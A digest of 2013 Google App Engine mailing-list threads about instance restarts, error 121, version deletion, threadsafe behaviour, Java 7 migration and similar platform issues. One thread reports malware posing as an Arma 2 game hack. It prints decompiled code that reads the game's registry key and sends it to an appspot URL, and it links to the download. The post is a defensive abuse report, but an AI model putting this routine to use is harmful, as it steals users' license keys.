[google-appengine] Re: Instance issues
We have the same issue - instances are getting killed and causing user-facing 500's. On python 2.7 paid app. On Tuesday, February 26, 2013 2:30:39 PM UTC-5, Tomas wrote: From yesterday I observe that app engine spins new instance which serves requests for couple of seconds and then kill it immediately again. Can't see anything in logs, the spin up time also raised from usual 5-6sec to 18+ secs. That basically means that user faces 20secs timeout on each click. And as usually, GAE status all green. What's happening? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Instances still getting killed and causing user 500's
On Python 2.7 paid app. Setting an idle instance seems to mitigate this, but every time a new dynamic instance is spawned or hit i get this problem. Definitely not normal behavior. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Functions, Overhead and GAE Python
I am hesitant to post this because design patterns are akin to religion for most who read this group so it is often best to keep opinions to one's self. However, since this goes way back to a very old Guido blog post, and because it might be helpful I will take the risk. Undoubtedly many saw this article about high-levels of function calls affecting Chrome's performance: http://aptiverse.com/blog/closer_look_at_chrome/ A long time ago, Guido posted on his blog a brief study he did showing that high-levels of function calls can really affect Python performance due to overhead costs. I wish I had bookmarked it, but failed to do so. However, it is very easy to setup and test yourself using examples similar to what Guido did. A pernicious design pattern he showed being affected by this is a function call or lambda embedded inside an iterative loop. As I noted, I am hesitant to say this, but given the relatively modest hardware specs that many F1 instance GAE developers deal with, one should very likely test for performance when one's code is performing very high levels for function calls. Certainly if you have code averaging 2.1 effective lines of Python per function (as noted in the article), and you are running on a F1 with decent QPS, then give it some thought. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Test and Upgrade your App Engine Java Application to a Java 7 runtime...now.
Hi, As part of Google App Engine 1.7.5 release on February 13, 2013, we introduced Preview support of App Engine Java 7 runtime. In early April, Google will commence upgrading our internal applications from Java 6 to Java 7. In conjunction with this effort, we highly recommend that all of our App Engine customers begin testing and eventually migrate their applications to Java 7 runtime within the next couple of months. Please find below some additional technical information to assist with testing and migrating your application to Java 7 environment: *Java 6 and Java 7 Compatibility* In general, Java 7 runtime is backwards compatible with Java 6, and will run all pre-existing Java applications that did not rely on implementation-specific functionality. Please refer to the Oracle white paper on Java 7 and Java 6http://www.oracle.com/technetwork/java/javase/compatibility-417013.htmlcompatibility for additional details. *Procedure for Testing* For all your Java App Engine applications, here are the steps for testing in the new Java 7 environment. 1. App Engine can support multiple live versions of a given application. It is best to create a new version of your app and deploy it to a Java 7 runtime. 2. You can deploy to a new Java 7 runtime with one of the following steps: a) Recompile your Java Application with a full JDK 7 compiler. You can test it with the GAE 1.7.5 SDK, and when ready, use the regular appcfg SDK tool that will detect that the Java byte code is Java 7 compliant and will use a Java7 runtime for this application version. b) If you are still compiling your Java application with a JDK 6 compiler, you can deploy to the Java 7 runtime by adding the *--use_java7* flag to the appcfg SDK tool. Please review the Google Java 7 Considerationshttps://developers.google.com/appengine/docs/java/java7paper for additional information on configuring Java 7. 3. Assuming you have your default application version still running with a Java 6 runtime and a new version running in Java 7, you can use the Google App Engine Traffic Splitting feature to slowly ramp up traffic on the new Java 7 runtime. Consider starting with 5%, then increase gradually to 10%, 20%, and so on as your app is behaving as expected. See our Traffic Splitting documenthttps://developers.google.com/appengine/docs/adminconsole/trafficsplittingfor more information about this tool. Thanks for spending the time to make sure your application is Java 7 ready now. Only a very few incompatible behaviors may have to be fixed in your applications. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] A server error has occurred. when deleting a version
Hi, I used to have the same number 8/9 (never 10 because we couldn't override a version with 10), now i got 5 tops, in my case the problem stoped but most likely to be just a blind guess... anyway, can you give it a try? Cheers, -- Catoto On Wed, Feb 27, 2013 at 1:14 AM, Maxime Rafalimanana rafa...@gmail.comwrote: I have 8 or 9 versions deployed. And I am removing an old version before pushing a new one to avoid the 'max number of version' error. On Tue, Feb 26, 2013 at 10:08 PM, Thiago Catoto tcat...@gmail.com wrote: From the last few days, we are getting same error on delete version and set default version. But a refresh shows that the version is deleted or the default version was setter correctly, guess something with the callback on the console interface. How many deployed version do you have? On Tue, Feb 26, 2013 at 10:08 PM, emerix rafa...@gmail.com wrote: I get A server error has occurred in the Admin console whenever I delete a version or when I set a version to be default. Fortunately, the action is performed but there must be something wrong somewhere if this message appears every time... Does anyone have the same issue? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to a topic in the Google Groups Google App Engine group. To unsubscribe from this topic, visit https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en . To unsubscribe from this group and all its topics, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en . For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] Page changes not updating after re-deploy.
Cache header? If it's a static files, can you check the expiration settings? On Fri, Feb 22, 2013 at 10:43 PM, Shane Kweens cosmichere...@gmail.com wrote: I am using Python 2.7 and GAE and noticed page changes are not updating after re-deploy. Any hints? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- Takashi Matsuo | Developers Advocate | tmat...@google.com -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] User use app engine to store stolen keys from videogame.
Hi Igor, Thanks for the report. I forwarded your report to the appropriate dept. -- Takashi On Mon, Feb 25, 2013 at 12:48 PM, Igor Macallister igorma...@gmail.com wrote: Recently a video on YouTube (http://www.youtube.com/watch?v=i3WTLBHGxJg) shows a hack for Arma 2 - DayZ, the download contain a dangerous file, what it makes is to take the installation key of Arma 2 from the victim, send to Internet, and then replaces the victim's key with a banned one, and add Everyone cant edit/read the section of the Arma 2 key in the registry to prevent victim to change the key. This is the link of the file: http://www.mediafire.com/?46wy99z7fwpmlrk After decompiling his hack (keystealer): Private Shared Sub SendKey() Dim key As RegistryKey Try key = Registry.LocalMachine.OpenSubKey(Software\Bohemia Interactive Studio\ArmA 2 OA, True) Catch exception1 As Exception key = Nothing End Try If (Not key Is Nothing) Then Dim buffer As Byte() = DirectCast(key.GetValue(KEY), Byte()) Program.keys = (CD Key: BitConverter.ToString(buffer) ChrW(10)) Try WebRequest.Create((http://cybermitodb.appspot.com/key?s=; Program.keys)).GetResponse Catch exception2 As Exception End Try End If End Sub So, I am sure that if you analyze http://cybermitodb.appspot.com and the email of this user you will find a lot of evidence of his key stealer (like a bunch of stolen keys, and contact info for selling them). -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- Takashi Matsuo | Developers Advocate | tmat...@google.com -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] threadsafe not working
I always get irritated when people point to that SO article. There are unanswered questions still and my own experimentation didn't bear out the algorithm listed there. It might be relevant that the answer was posted relative to the Python implementation, while I have a Java app, but still. That SO article isn't satisfying as an authoritative answer. - Kris On Tuesday, February 26, 2013 9:58:33 PM UTC-8, Stefano Ciccarelli wrote: Read this http://stackoverflow.com/questions/11525717/when-does-the-app-engine-scheduler-use-a-new-thread-vs-a-new-instance Bye Il giorno venerdì 22 febbraio 2013, Jerome O'Flaherty ha scritto: Guys, I have marked my application as threadsafe but it does not seem to every call the application multiple times, rather the App Engine always create a new instance. I have tested this by basically sleeping for 20 seconds on one request (the application implemented a Jersey REST service) and with nothing else being executed all new requests cause the App engine to launch a new instance, in fact multiple new instances? Is there something else I need to do to allow a single instance handle multiple requests? Its seems to be a complete waste and more/less causes the app engine to be much more expensive than it needs to be. All help appreciated. Thanks Jerome -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en . For more options, visit https://groups.google.com/groups/opt_out. -- Sent from Gmail Mobile -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
Working fine now. I found the problem. I fed the unicorns Starburst instead of Skittles. What an abbey-lubber! David On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
Good advice. Tossing the Skittles in the trash, and running off to buy some Starburst. On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: Working fine now. I found the problem. I fed the unicorns Starburst instead of Skittles. What an abbey-lubber! David On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] A server error has occurred. when deleting a version
I have just deleted 5 versions. But even at 3 versions left, it still displays that error :( On Wed, Feb 27, 2013 at 2:03 PM, Thiago Catoto tcat...@gmail.com wrote: Hi, I used to have the same number 8/9 (never 10 because we couldn't override a version with 10), now i got 5 tops, in my case the problem stoped but most likely to be just a blind guess... anyway, can you give it a try? Cheers, -- Catoto On Wed, Feb 27, 2013 at 1:14 AM, Maxime Rafalimanana rafa...@gmail.comwrote: I have 8 or 9 versions deployed. And I am removing an old version before pushing a new one to avoid the 'max number of version' error. On Tue, Feb 26, 2013 at 10:08 PM, Thiago Catoto tcat...@gmail.comwrote: From the last few days, we are getting same error on delete version and set default version. But a refresh shows that the version is deleted or the default version was setter correctly, guess something with the callback on the console interface. How many deployed version do you have? On Tue, Feb 26, 2013 at 10:08 PM, emerix rafa...@gmail.com wrote: I get A server error has occurred in the Admin console whenever I delete a version or when I set a version to be default. Fortunately, the action is performed but there must be something wrong somewhere if this message appears every time... Does anyone have the same issue? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to a topic in the Google Groups Google App Engine group. To unsubscribe from this topic, visit https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en . To unsubscribe from this group and all its topics, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en . For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to a topic in the Google Groups Google App Engine group. To unsubscribe from this topic, visit https://groups.google.com/d/topic/google-appengine/-G8m6GbUo4w/unsubscribe?hl=en . To unsubscribe from this group and all its topics, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
No! Bad communication on my part. The problem was caused by feeding them Starburst instead of Skittles! And not just any flavor. It's gotta be the Sour Skittles. (Makes them fart rainbows, you know.) David On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote: Good advice. Tossing the Skittles in the trash, and running off to buy some Starburst. On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: Working fine now. I found the problem. I fed the unicorns Starburst instead of Skittles. What an abbey-lubber! David On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
am I dyslexic. On Wednesday, February 27, 2013 2:27:09 PM UTC-8, Cesium wrote: No! Bad communication on my part. The problem was caused by feeding them Starburst instead of Skittles! And not just any flavor. It's gotta be the Sour Skittles. (Makes them fart rainbows, you know.) David On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote: Good advice. Tossing the Skittles in the trash, and running off to buy some Starburst. On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: Working fine now. I found the problem. I fed the unicorns Starburst instead of Skittles. What an abbey-lubber! David On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
We are ushering a silver age of folk-remedies for data-center glitches. You are now officially the Dr. Weil (or Deepak Chopra?) of Google Appengine. Self-help customer service is awesome. On Wednesday, February 27, 2013 2:27:09 PM UTC-8, Cesium wrote: No! Bad communication on my part. The problem was caused by feeding them Starburst instead of Skittles! And not just any flavor. It's gotta be the Sour Skittles. (Makes them fart rainbows, you know.) David On Wednesday, February 27, 2013 2:57:39 PM UTC-7, johnP wrote: Good advice. Tossing the Skittles in the trash, and running off to buy some Starburst. On Wednesday, February 27, 2013 12:52:45 PM UTC-8, Cesium wrote: Working fine now. I found the problem. I fed the unicorns Starburst instead of Skittles. What an abbey-lubber! David On Wednesday, February 27, 2013 1:27:57 PM UTC-7, Cesium wrote: My app is down! 90% of calls return Error Code 121. Is App Engine down? David -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: AppEngine not serving - Error Code 121
Same error for my app... Production issue? :/ El domingo, 24 de febrero de 2013 21:04:53 UTC+1, bFlood escribió: one of my apps has gone haywire, it's been working well for over 2 years. HRD Nothing changed in code/settings etc About 50-60% of the requests now show Error Code 121 This seemed to start about 7 hours ago app-id: get-arc2earth-hrd https://lh5.googleusercontent.com/-aZZ2UeqbbUI/USpyGEYizvI/AAM/rXBeIe9_MOw/s1600/dashboard.png https://lh4.googleusercontent.com/-SkZ51_vrIbU/USpyItELHXI/AAU/AE50ZRPwlq0/s1600/instances.png https://lh3.googleusercontent.com/-SuMhshw85G8/USpyKqpWDBI/AAc/dwxwjG21Mfg/s1600/logs.png please help asap... -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: Instances still getting killed and causing user 500's
Starting about 16:30 Pacific time, my Java HRD Instances were shutting down after just a few seconds. Just as my rage reached class IV, serving returned to normal. I know this is an overreaction, but I may have to sacrifice a unicorn. Please, please, App Engine team, spare Mr. Sparkles. This is disheartening, David On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote: I'm also getting this problem. On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On Python 2.7 paid app. Setting an idle instance seems to mitigate this, but every time a new dynamic instance is spawned or hit i get this problem. Definitely not normal behavior. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: How many entities can be placed into datastore?
You can have as many entities as you want and speed does not depend on number of entities. Speed of .get() or .put() would be the same if you have 3 entities or 3.000.000.000 entities. Though the can be performance issues if you have high throughput - in this case minimize number of indexed fields and it's better if indexed values are not serially increased. Alex Lead Developer at http://www.myclasses.org/ - powered by GAE On Thursday, 21 February 2013 13:56:30 UTC-4, Deneb wrote: Good day, i have an strange questation - how much of entities i can create for one namespace? We develop an app and for best performance we need about 250 millions of entities in one namespace. Is this real and how it will affects on App Engine speed? We suppose to use this entities only as get-by-key queries. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: Instances still getting killed and causing user 500's
Oh Joy, Now the console charts have been erased. I'm losing it. Unicorn liver pate for dinner. David On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote: Starting about 16:30 Pacific time, my Java HRD Instances were shutting down after just a few seconds. Just as my rage reached class IV, serving returned to normal. I know this is an overreaction, but I may have to sacrifice a unicorn. Please, please, App Engine team, spare Mr. Sparkles. This is disheartening, David On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote: I'm also getting this problem. On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On Python 2.7 paid app. Setting an idle instance seems to mitigate this, but every time a new dynamic instance is spawned or hit i get this problem. Definitely not normal behavior. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: Instances still getting killed and causing user 500's
A couple hours later, all is well. Instances are lasting. Latency is low. Thank you Mr. Sparkles. (burp). On Wednesday, February 27, 2013 6:45:50 PM UTC-7, Cesium wrote: Oh Joy, Now the console charts have been erased. I'm losing it. Unicorn liver pate for dinner. David On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote: Starting about 16:30 Pacific time, my Java HRD Instances were shutting down after just a few seconds. Just as my rage reached class IV, serving returned to normal. I know this is an overreaction, but I may have to sacrifice a unicorn. Please, please, App Engine team, spare Mr. Sparkles. This is disheartening, David On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote: I'm also getting this problem. On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On Python 2.7 paid app. Setting an idle instance seems to mitigate this, but every time a new dynamic instance is spawned or hit i get this problem. Definitely not normal behavior. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Re: [google-appengine] Re: Instances still getting killed and causing user 500's
Many apps are hitting the same issue, starring the following may increase chances of getting resolution. The app engine performance is unpredictable. Right now, as far as we are concerned, the most effective solution is to offer prayers very sincerely every morning. http://code.google.com/p/googleappengine/issues/detail?id=8781 This issue has been around for a few weeks with no resolution or any semblance of activity. Prashant On Thu, Feb 28, 2013 at 7:15 AM, Cesium cesiumpic...@gmail.com wrote: Oh Joy, Now the console charts have been erased. I'm losing it. Unicorn liver pate for dinner. David On Wednesday, February 27, 2013 6:10:37 PM UTC-7, Cesium wrote: Starting about 16:30 Pacific time, my Java HRD Instances were shutting down after just a few seconds. Just as my rage reached class IV, serving returned to normal. I know this is an overreaction, but I may have to sacrifice a unicorn. Please, please, App Engine team, spare Mr. Sparkles. This is disheartening, David On Wednesday, February 27, 2013 11:32:07 AM UTC-7, Chris Tan wrote: I'm also getting this problem. On Wednesday, February 27, 2013 7:50:47 AM UTC-8, Kinesh Patel wrote:On Python 2.7 paid app. Setting an idle instance seems to mitigate this, but every time a new dynamic instance is spawned or hit i get this problem. Definitely not normal behavior. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] help me
how to create google cloud stote . -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] MongoDB Datastore Stub for Google App Engine SDK (Python)
Hello everyone, as a result of my master thesis, I am developing new App Engine Datastore Stub for Python, which is based on MongoDB backed. The target of this stub is to eliminate the cons of SQLite stub (which is very slow in case of inserting large dataset etc.) and still to provide quick queries and transactionality. My work is partially based on Mike Dirolf's Mongo Appengine Connector, but now the stub supports projection queries, structured properties and SDK development admin console etc. Stub can be fully integrated into dev_appserver (after patch there's new option --use_mongodb). The stub was tested on SDK 1.7.4, I will test it on 1.7.5 soon. The stub is still in phase of development, so please do not be mad at me if something does not work well for you. If somebody is interested of the performance comparison with FileStub and SQLite Stub, let me know. The result is on github: https://github.com/hellerstanislav/appengine-datastore-mongodb-stub Cheers, Stanislav Heller -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] New Google+ sign-in on App Engine, bug or feature?
I tried the Python quickstarthttps://developers.google.com/+/quickstart/pythonfor the new Google+ sign-in on App Engine and I'm glad to report it works flawlessly (you just need to manually add Flask). However, once I've got an user logged in, if I call users.get_current_user() from google.appengine.api I still get a None response. So I have a Google user logged in but AppEngine's API is not seeing it. Bug or feature? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] get data from datastore without refreshing page
Hi Im very new to app engine and java. But I have setup a jsp file that uses a java class to get data from the datastore. The java file though is obviously server side so I caunt just call a java method onclick from my jsp. Is their anyway to get more data from the datastore without refreshing the page? I thought about using ajax to call a jsp file that took data from the datastore and return it as JSON or xml or something? Thanks Aidan -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] CNAME and TXT record problems with my custom domain
Hello. This is my problem. I've running an application on Google App Engine. A few days ago I registered my custom domain mydomain.net. I've access to domain panel on tucows/opensrs. So, in my app on GAE, I go to Application Settings Add domain. I configured mydomain.net on Google Apps. Now I'm trying to verify ownership of my domain. Google Apps have some alternatives to do this: add a txt record, a cname, upload an html file, add an html tag, and one more if I'm not wrong. Here's the problem. It seems that I can't do anything of that from my domain panel on opensrs. The only thing I can do there is to set up some Name Servers or DNS. I had a conversation with the support team of the company where I registered my domain. They said that I have only the domain name, not a hosting for the domain. So I can't set a cname or txt record. Also said that gae should give me the possibility to set up cname or txt record. I'm very confused. I should talk with App Engine support. But there's no support, so here I am. Any alternative? Any way to link my app with my domain using DNS or name servers? I'll appreciate so much your replies. Sorry for my English. Thanks. -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: Page changes not updating after re-deploy.
I had this same problem the first time I used GAE because I was deploying to the wrong version and then pulling my hair out. I doubt that is true in your case as well, it was a beginner mistake, but throwing it out there, just in case. On Friday, February 22, 2013 10:43:40 PM UTC-8, Shane Kweens wrote: I am using Python 2.7 and GAE and noticed page changes are not updating after re-deploy. Any hints? -- You received this message because you are subscribed to the Google Groups Google App Engine group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
[google-appengine] Re: java.lang.ClassNotFoundException: com.google.appengine.tools.enhancer.Enhance
